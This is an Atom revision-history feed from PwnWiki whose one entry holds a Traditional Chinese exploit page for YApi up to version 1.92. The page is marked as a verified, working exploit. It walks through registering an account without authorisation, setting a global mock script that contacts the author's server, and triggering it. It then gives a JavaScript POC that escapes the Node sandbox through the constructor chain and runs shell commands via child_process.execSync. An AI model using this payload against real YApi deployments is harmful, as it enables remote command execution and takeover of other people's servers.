<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-hant</id>
	<title>YApi 未授權用戶創建&amp;Mock遠程命令執行漏洞/zh-hant - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-hant"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;action=history"/>
	<updated>2026-04-05T10:17:06Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;diff=6892&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;添加接口，訪問接口的mock地址&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;diff=6892&amp;oldid=prev"/>
		<updated>2021-07-10T07:41:29Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;添加接口，訪問接口的mock地址&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| style=&amp;quot;border: 2.0px solid grey; background: #b3ff9c;&amp;quot; width=&amp;quot;85%&amp;quot;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; width=&amp;quot;60px&amp;quot;| [[File:Check.png|link=|55px]]&lt;br /&gt;
| align=&amp;quot;center&amp;quot; |'''該漏洞已通過驗證'''&lt;br /&gt;
------&lt;br /&gt;
&amp;lt;small&amp;gt;本頁面的EXP/POC/Payload經測試可用，漏洞已經成功復現。&amp;lt;/small&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==影響版本==&lt;br /&gt;
&amp;lt;=V1.92 All&lt;br /&gt;
&lt;br /&gt;
==漏洞復現==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
登錄註冊後，創建一個項目&lt;br /&gt;
&lt;br /&gt;
[[File:124460388-eaa46100-ddc1-11eb-80c4-2bddb97df8e1.png | 800px]]&lt;br /&gt;
&lt;br /&gt;
然後選擇設置全局的mock腳本，設置命令為遠程訪問我的服務器地址。&lt;br /&gt;
&lt;br /&gt;
[[File:124460511-090a5c80-ddc2-11eb-92f6-46c9b3b498bb.png | 800px ]]&lt;br /&gt;
&lt;br /&gt;
添加接口，訪問接口的mock地址&lt;br /&gt;
&lt;br /&gt;
[[File:124460629-2dfecf80-ddc2-11eb-98c3-b96f7174d8f1.png  | 800px]]&lt;br /&gt;
&lt;br /&gt;
服務器可以看到如下響應&lt;br /&gt;
[[File:124460757-5686c980-ddc2-11eb-87df-09e0f9ac08af.png  | 800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const sandbox = this&lt;br /&gt;
const ObjectConstructor = this.constructor&lt;br /&gt;
const FunctionConstructor = ObjectConstructor.constructor&lt;br /&gt;
const myfun = FunctionConstructor('return process')&lt;br /&gt;
const process = myfun()&lt;br /&gt;
mockjson = process.mainModule.require(&amp;quot;child_process&amp;quot;).execSync(&amp;quot;command&amp;quot;).toString()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==參考==&lt;br /&gt;
https://github.com/YMFE/yapi/issues/2233&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>